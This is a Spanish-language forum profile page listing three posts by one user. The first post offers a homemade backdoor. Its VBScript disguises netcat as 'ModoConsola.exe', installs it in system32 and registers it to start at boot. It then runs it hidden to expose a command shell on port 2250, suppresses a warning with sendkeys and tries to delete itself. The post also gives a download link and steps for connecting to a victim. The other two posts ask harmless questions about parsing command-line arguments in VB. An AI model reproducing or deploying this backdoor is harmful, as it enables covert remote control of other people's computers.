Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - dvd3000

#1
Bueno este es mi virus (no sé si se dice troyano, gusano ,o como sea a un programita para entrar en otro ordenador)

Seguramente existen otras muchas formas, pero ami se me ha ocurrido esta:
se compone de dos partes, una son los archivos distribuidos a la victima,
la otra son los del hacker que quiere entrar.

1-parte
son dos archivos, uno de ellos es el nc.exe con nombre de Modo Consola.exe
y el otro es un vbs:
On Error Resume Next
nombre = wscript.scriptname
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
Set dirwin32 = fso.GetSpecialFolder(1)
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objfso = createobject("scripting.filesystemobject")
Objfso.movefile ".\ModoConsola.exe", dirwin32+"\nc.exe"
set wsc = createobject("wscript.shell")
wsc.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WNet", "nc.exe -L -p 2250 -e cmd.exe"
Set correr = CreateObject("wscript.shell")
correr.Run "nc.exe -L -p 2250 -e cmd.exe", vbHide
Set objshell = createobject("wscript.shell")
wscript.sleep 20
Objshell.sendkeys "{ENTER}"
Set objfso = createobject("scripting.filesystemobject")
Objfso.deletefile ".\"+nombre

se supone que se tiene que autoborrar...

el nc.exe lo podeis descargar aquí:
http://ares.hotshare.net/download/wqeRcXDFHgDF/wqIUSaopopHgIUwqwqNM/9324929be1/96241/nc.exe

le cambiais el nombre a Modo Consola.exe

la otra parte, me la ahorro (solo son archivos que automatizan la entrada),
copiais el nc en c:\windows\system32 (con nombre nc.exe).
para entrar en el otro ordenador entrais en la consola de comandos y escribis:
nc.exe IP 2250
en IP poneis la ip del ordenador al que quereis entrar.
y entrareis en la consola de comandos del otro ordenador donde podeis modificar cualquier cosa.

Aver si me ayudais con el vbs, tengo un par de problemas por ahora que no sé solucionar:
1-No se autoborra
2-al ejecutarlo en otro ordenador sale el mensaje de windows de que se va a ejecutar un archivo, creo haberlo solucionado con el sendkeys...
#2
Scripting / [vbs] Ayuda variable descompuesta
16 Septiembre 2009, 18:39 PM
Hola, estoy haciendo un programa en VB 6,pero lo programo en vbs,me explico yo sé usar el vbs y estoy haciendo un programa en vb sin aprender vb...

Bueno aquí va la pregunta, quiero hacer un programa, que cuando le pases argumentos (desde el cmd- acceso directo...)haga una u otra acción, el problema es que no consigo que el vb me diferencie entre primer argumento, segunto, etc..., y me lo pone todo en una variable,

De ese modo la variable vale "-l -t 30 "
¿se puede dividir la variable por espacios y así tener tres variables con vbs?:
variable 1 "-l"
variable 2 "-t"
variable 3 "30"

me pareció leerlo en algún sitio pero no lo encuentro
#3
Programación Visual Basic / AYUDA Command$
16 Septiembre 2009, 18:18 PM
Bueno quiero hacer un programa con vb, de hecho está empezado pero no se seguir, mi idea es que se manipule desde la consola de comandos, y que se ponga el nombre del programa que se encuentra en un PATH del sistema, y pasarle argumentos, Y allí está el problema, por ahora solo puedo hacer esto:

Sub Main()
MsgBox Command$
End Sub

Pero en la Variable Command me pone todo el texto que sigue al nombre del programa:

programa.exe -p -s -t 50

quiero que en una variable se guarde el primer argumento (-p)
en otra diferente el segundo (-s) y así con todos; por ahora la variable Command vale: "-p -s -t 50"   :huh:

Quiero saber si se pueden manejar (como en linux)
primer argumento, segundo argumento, tercer argumento.

Si se puede solo he de usar unos condicionales y ya está, si  no se puede decidme en qué otro lenguaje se puede.